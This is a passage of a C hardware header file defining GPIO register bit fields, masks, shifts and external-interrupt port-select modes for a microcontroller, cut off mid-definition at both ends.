_GPIO_P_DOUTTGL_DOUTTGL_MASK 0xFFFFUL /**< Bit mask for GPIO_DOUTTGL */ #define _GPIO_P_DOUTTGL_DOUTTGL_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_DOUTTGL */ #define GPIO_P_DOUTTGL_DOUTTGL_DEFAULT (_GPIO_P_DOUTTGL_DOUTTGL_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_P_DOUTTGL */ /* Bit fields for GPIO P_DIN */ #define _GPIO_P_DIN_RESETVALUE 0x00000000UL /**< Default value for GPIO_P_DIN */ #define _GPIO_P_DIN_MASK 0x0000FFFFUL /**< Mask for GPIO_P_DIN */ #define _GPIO_P_DIN_DIN_SHIFT 0 /**< Shift value for GPIO_DIN */ #define _GPIO_P_DIN_DIN_MASK 0xFFFFUL /**< Bit mask for GPIO_DIN */ #define _GPIO_P_DIN_DIN_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_DIN */ #define GPIO_P_DIN_DIN_DEFAULT (_GPIO_P_DIN_DIN_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_P_DIN */ /* Bit fields for GPIO P_PINLOCKN */ #define _GPIO_P_PINLOCKN_RESETVALUE 0x0000FFFFUL /**< Default value for GPIO_P_PINLOCKN */ #define _GPIO_P_PINLOCKN_MASK 0x0000FFFFUL /**< Mask for GPIO_P_PINLOCKN */ #define _GPIO_P_PINLOCKN_PINLOCKN_SHIFT 0 /**< Shift value for GPIO_PINLOCKN */ #define _GPIO_P_PINLOCKN_PINLOCKN_MASK 0xFFFFUL /**< Bit mask for GPIO_PINLOCKN */ #define _GPIO_P_PINLOCKN_PINLOCKN_DEFAULT 0x0000FFFFUL /**< Mode DEFAULT for GPIO_P_PINLOCKN */ #define GPIO_P_PINLOCKN_PINLOCKN_DEFAULT (_GPIO_P_PINLOCKN_PINLOCKN_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_P_PINLOCKN */ /* Bit fields for GPIO P_OVTDIS */ #define _GPIO_P_OVTDIS_RESETVALUE 0x00000000UL /**< Default value for GPIO_P_OVTDIS */ #define _GPIO_P_OVTDIS_MASK 0x0000FFFFUL /**< Mask for GPIO_P_OVTDIS */ #define _GPIO_P_OVTDIS_OVTDIS_SHIFT 0 /**< Shift value for GPIO_OVTDIS */ #define _GPIO_P_OVTDIS_OVTDIS_MASK 0xFFFFUL /**< Bit mask for GPIO_OVTDIS */ #define _GPIO_P_OVTDIS_OVTDIS_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_P_OVTDIS */ #define GPIO_P_OVTDIS_OVTDIS_DEFAULT (_GPIO_P_OVTDIS_OVTDIS_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_P_OVTDIS */ /* Bit fields for GPIO EXTIPSELL */ #define _GPIO_EXTIPSELL_RESETVALUE 0x00000000UL /**< Default value for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_MASK 0xFFFFFFFFUL /**< Mask for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL0_SHIFT 0 /**< Shift value for GPIO_EXTIPSEL0 */ #define _GPIO_EXTIPSELL_EXTIPSEL0_MASK 0xFUL /**< Bit mask for GPIO_EXTIPSEL0 */ #define _GPIO_EXTIPSELL_EXTIPSEL0_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL0_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL0_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL0_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL0_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL0_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL0_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL0_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL0_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL0_DEFAULT (_GPIO_EXTIPSELL_EXTIPSEL0_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL0_PORTA (_GPIO_EXTIPSELL_EXTIPSEL0_PORTA << 0) /**< Shifted mode PORTA for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL0_PORTB (_GPIO_EXTIPSELL_EXTIPSEL0_PORTB << 0) /**< Shifted mode PORTB for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL0_PORTC (_GPIO_EXTIPSELL_EXTIPSEL0_PORTC << 0) /**< Shifted mode PORTC for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL0_PORTD (_GPIO_EXTIPSELL_EXTIPSEL0_PORTD << 0) /**< Shifted mode PORTD for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL0_PORTF (_GPIO_EXTIPSELL_EXTIPSEL0_PORTF << 0) /**< Shifted mode PORTF for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL0_PORTI (_GPIO_EXTIPSELL_EXTIPSEL0_PORTI << 0) /**< Shifted mode PORTI for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL0_PORTJ (_GPIO_EXTIPSELL_EXTIPSEL0_PORTJ << 0) /**< Shifted mode PORTJ for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL0_PORTK (_GPIO_EXTIPSELL_EXTIPSEL0_PORTK << 0) /**< Shifted mode PORTK for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL1_SHIFT 4 /**< Shift value for GPIO_EXTIPSEL1 */ #define _GPIO_EXTIPSELL_EXTIPSEL1_MASK 0xF0UL /**< Bit mask for GPIO_EXTIPSEL1 */ #define _GPIO_EXTIPSELL_EXTIPSEL1_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL1_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL1_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL1_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL1_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL1_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL1_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL1_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL1_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL1_DEFAULT (_GPIO_EXTIPSELL_EXTIPSEL1_DEFAULT << 4) /**< Shifted mode DEFAULT for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL1_PORTA (_GPIO_EXTIPSELL_EXTIPSEL1_PORTA << 4) /**< Shifted mode PORTA for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL1_PORTB (_GPIO_EXTIPSELL_EXTIPSEL1_PORTB << 4) /**< Shifted mode PORTB for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL1_PORTC (_GPIO_EXTIPSELL_EXTIPSEL1_PORTC << 4) /**< Shifted mode PORTC for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL1_PORTD (_GPIO_EXTIPSELL_EXTIPSEL1_PORTD << 4) /**< Shifted mode PORTD for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL1_PORTF (_GPIO_EXTIPSELL_EXTIPSEL1_PORTF << 4) /**< Shifted mode PORTF for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL1_PORTI (_GPIO_EXTIPSELL_EXTIPSEL1_PORTI << 4) /**< Shifted mode PORTI for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL1_PORTJ (_GPIO_EXTIPSELL_EXTIPSEL1_PORTJ << 4) /**< Shifted mode PORTJ for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL1_PORTK (_GPIO_EXTIPSELL_EXTIPSEL1_PORTK << 4) /**< Shifted mode PORTK for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL2_SHIFT 8 /**< Shift value for GPIO_EXTIPSEL2 */ #define _GPIO_EXTIPSELL_EXTIPSEL2_MASK 0xF00UL /**< Bit mask for GPIO_EXTIPSEL2 */ #define _GPIO_EXTIPSELL_EXTIPSEL2_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL2_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL2_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL2_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL2_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL2_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL2_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL2_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL2_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL2_DEFAULT (_GPIO_EXTIPSELL_EXTIPSEL2_DEFAULT << 8) /**< Shifted mode DEFAULT for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL2_PORTA (_GPIO_EXTIPSELL_EXTIPSEL2_PORTA << 8) /**< Shifted mode PORTA for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL2_PORTB (_GPIO_EXTIPSELL_EXTIPSEL2_PORTB << 8) /**< Shifted mode PORTB for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL2_PORTC (_GPIO_EXTIPSELL_EXTIPSEL2_PORTC << 8) /**< Shifted mode PORTC for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL2_PORTD (_GPIO_EXTIPSELL_EXTIPSEL2_PORTD << 8) /**< Shifted mode PORTD for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL2_PORTF (_GPIO_EXTIPSELL_EXTIPSEL2_PORTF << 8) /**< Shifted mode PORTF for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL2_PORTI (_GPIO_EXTIPSELL_EXTIPSEL2_PORTI << 8) /**< Shifted mode PORTI for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL2_PORTJ (_GPIO_EXTIPSELL_EXTIPSEL2_PORTJ << 8) /**< Shifted mode PORTJ for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL2_PORTK (_GPIO_EXTIPSELL_EXTIPSEL2_PORTK << 8) /**< Shifted mode PORTK for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL3_SHIFT 12 /**< Shift value for GPIO_EXTIPSEL3 */ #define _GPIO_EXTIPSELL_EXTIPSEL3_MASK 0xF000UL /**< Bit mask for GPIO_EXTIPSEL3 */ #define _GPIO_EXTIPSELL_EXTIPSEL3_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL3_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL3_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL3_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL3_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL3_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL3_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL3_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL3_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL3_DEFAULT (_GPIO_EXTIPSELL_EXTIPSEL3_DEFAULT << 12) /**< Shifted mode DEFAULT for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL3_PORTA (_GPIO_EXTIPSELL_EXTIPSEL3_PORTA << 12) /**< Shifted mode PORTA for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL3_PORTB (_GPIO_EXTIPSELL_EXTIPSEL3_PORTB << 12) /**< Shifted mode PORTB for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL3_PORTC (_GPIO_EXTIPSELL_EXTIPSEL3_PORTC << 12) /**< Shifted mode PORTC for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL3_PORTD (_GPIO_EXTIPSELL_EXTIPSEL3_PORTD << 12) /**< Shifted mode PORTD for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL3_PORTF (_GPIO_EXTIPSELL_EXTIPSEL3_PORTF << 12) /**< Shifted mode PORTF for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL3_PORTI (_GPIO_EXTIPSELL_EXTIPSEL3_PORTI << 12) /**< Shifted mode PORTI for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL3_PORTJ (_GPIO_EXTIPSELL_EXTIPSEL3_PORTJ << 12) /**< Shifted mode PORTJ for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL3_PORTK (_GPIO_EXTIPSELL_EXTIPSEL3_PORTK << 12) /**< Shifted mode PORTK for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL4_SHIFT 16 /**< Shift value for GPIO_EXTIPSEL4 */ #define _GPIO_EXTIPSELL_EXTIPSEL4_MASK 0xF0000UL /**< Bit mask for GPIO_EXTIPSEL4 */ #define _GPIO_EXTIPSELL_EXTIPSEL4_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL4_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL4_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL4_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL4_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL4_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL4_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL4_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL4_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL4_DEFAULT (_GPIO_EXTIPSELL_EXTIPSEL4_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL4_PORTA (_GPIO_EXTIPSELL_EXTIPSEL4_PORTA << 16) /**< Shifted mode PORTA for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL4_PORTB (_GPIO_EXTIPSELL_EXTIPSEL4_PORTB << 16) /**< Shifted mode PORTB for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL4_PORTC (_GPIO_EXTIPSELL_EXTIPSEL4_PORTC << 16) /**< Shifted mode PORTC for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL4_PORTD (_GPIO_EXTIPSELL_EXTIPSEL4_PORTD << 16) /**< Shifted mode PORTD for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL4_PORTF (_GPIO_EXTIPSELL_EXTIPSEL4_PORTF << 16) /**< Shifted mode PORTF for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL4_PORTI (_GPIO_EXTIPSELL_EXTIPSEL4_PORTI << 16) /**< Shifted mode PORTI for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL4_PORTJ (_GPIO_EXTIPSELL_EXTIPSEL4_PORTJ << 16) /**< Shifted mode PORTJ for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL4_PORTK (_GPIO_EXTIPSELL_EXTIPSEL4_PORTK << 16) /**< Shifted mode PORTK for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL5_SHIFT 20 /**< Shift value for GPIO_EXTIPSEL5 */ #define _GPIO_EXTIPSELL_EXTIPSEL5_MASK 0xF00000UL /**< Bit mask for GPIO_EXTIPSEL5 */ #define _GPIO_EXTIPSELL_EXTIPSEL5_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL5_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL5_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL5_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL5_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL5_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL5_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL5_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL5_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL5_DEFAULT (_GPIO_EXTIPSELL_EXTIPSEL5_DEFAULT << 20) /**< Shifted mode DEFAULT for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL5_PORTA (_GPIO_EXTIPSELL_EXTIPSEL5_PORTA << 20) /**< Shifted mode PORTA for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL5_PORTB (_GPIO_EXTIPSELL_EXTIPSEL5_PORTB << 20) /**< Shifted mode PORTB for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL5_PORTC (_GPIO_EXTIPSELL_EXTIPSEL5_PORTC << 20) /**< Shifted mode PORTC for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL5_PORTD (_GPIO_EXTIPSELL_EXTIPSEL5_PORTD << 20) /**< Shifted mode PORTD for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL5_PORTF (_GPIO_EXTIPSELL_EXTIPSEL5_PORTF << 20) /**< Shifted mode PORTF for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL5_PORTI (_GPIO_EXTIPSELL_EXTIPSEL5_PORTI << 20) /**< Shifted mode PORTI for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL5_PORTJ (_GPIO_EXTIPSELL_EXTIPSEL5_PORTJ << 20) /**< Shifted mode PORTJ for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL5_PORTK (_GPIO_EXTIPSELL_EXTIPSEL5_PORTK << 20) /**< Shifted mode PORTK for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL6_SHIFT 24 /**< Shift value for GPIO_EXTIPSEL6 */ #define _GPIO_EXTIPSELL_EXTIPSEL6_MASK 0xF000000UL /**< Bit mask for GPIO_EXTIPSEL6 */ #define _GPIO_EXTIPSELL_EXTIPSEL6_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL6_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL6_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL6_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL6_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL6_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL6_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL6_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL6_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL6_DEFAULT (_GPIO_EXTIPSELL_EXTIPSEL6_DEFAULT << 24) /**< Shifted mode DEFAULT for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL6_PORTA (_GPIO_EXTIPSELL_EXTIPSEL6_PORTA << 24) /**< Shifted mode PORTA for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL6_PORTB (_GPIO_EXTIPSELL_EXTIPSEL6_PORTB << 24) /**< Shifted mode PORTB for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL6_PORTC (_GPIO_EXTIPSELL_EXTIPSEL6_PORTC << 24) /**< Shifted mode PORTC for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL6_PORTD (_GPIO_EXTIPSELL_EXTIPSEL6_PORTD << 24) /**< Shifted mode PORTD for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL6_PORTF (_GPIO_EXTIPSELL_EXTIPSEL6_PORTF << 24) /**< Shifted mode PORTF for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL6_PORTI (_GPIO_EXTIPSELL_EXTIPSEL6_PORTI << 24) /**< Shifted mode PORTI for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL6_PORTJ (_GPIO_EXTIPSELL_EXTIPSEL6_PORTJ << 24) /**< Shifted mode PORTJ for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL6_PORTK (_GPIO_EXTIPSELL_EXTIPSEL6_PORTK << 24) /**< Shifted mode PORTK for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL7_SHIFT 28 /**< Shift value for GPIO_EXTIPSEL7 */ #define _GPIO_EXTIPSELL_EXTIPSEL7_MASK 0xF0000000UL /**< Bit mask for GPIO_EXTIPSEL7 */ #define _GPIO_EXTIPSELL_EXTIPSEL7_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL7_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL7_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL7_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL7_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL7_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL7_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL7_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELL */ #define _GPIO_EXTIPSELL_EXTIPSEL7_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL7_DEFAULT (_GPIO_EXTIPSELL_EXTIPSEL7_DEFAULT << 28) /**< Shifted mode DEFAULT for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL7_PORTA (_GPIO_EXTIPSELL_EXTIPSEL7_PORTA << 28) /**< Shifted mode PORTA for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL7_PORTB (_GPIO_EXTIPSELL_EXTIPSEL7_PORTB << 28) /**< Shifted mode PORTB for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL7_PORTC (_GPIO_EXTIPSELL_EXTIPSEL7_PORTC << 28) /**< Shifted mode PORTC for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL7_PORTD (_GPIO_EXTIPSELL_EXTIPSEL7_PORTD << 28) /**< Shifted mode PORTD for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL7_PORTF (_GPIO_EXTIPSELL_EXTIPSEL7_PORTF << 28) /**< Shifted mode PORTF for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL7_PORTI (_GPIO_EXTIPSELL_EXTIPSEL7_PORTI << 28) /**< Shifted mode PORTI for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL7_PORTJ (_GPIO_EXTIPSELL_EXTIPSEL7_PORTJ << 28) /**< Shifted mode PORTJ for GPIO_EXTIPSELL */ #define GPIO_EXTIPSELL_EXTIPSEL7_PORTK (_GPIO_EXTIPSELL_EXTIPSEL7_PORTK << 28) /**< Shifted mode PORTK for GPIO_EXTIPSELL */ /* Bit fields for GPIO EXTIPSELH */ #define _GPIO_EXTIPSELH_RESETVALUE 0x00000000UL /**< Default value for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_MASK 0xFFFFFFFFUL /**< Mask for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL8_SHIFT 0 /**< Shift value for GPIO_EXTIPSEL8 */ #define _GPIO_EXTIPSELH_EXTIPSEL8_MASK 0xFUL /**< Bit mask for GPIO_EXTIPSEL8 */ #define _GPIO_EXTIPSELH_EXTIPSEL8_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL8_PORTA 0x00000000UL /**< Mode PORTA for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL8_PORTB 0x00000001UL /**< Mode PORTB for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL8_PORTC 0x00000002UL /**< Mode PORTC for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL8_PORTD 0x00000003UL /**< Mode PORTD for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL8_PORTF 0x00000005UL /**< Mode PORTF for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL8_PORTI 0x00000008UL /**< Mode PORTI for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL8_PORTJ 0x00000009UL /**< Mode PORTJ for GPIO_EXTIPSELH */ #define _GPIO_EXTIPSELH_EXTIPSEL8_PORTK 0x0000000AUL /**< Mode PORTK for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL8_DEFAULT (_GPIO_EXTIPSELH_EXTIPSEL8_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_EXTIPSELH */ #define GPIO_EXTIPSELH_EXTIPSEL8_PORTA 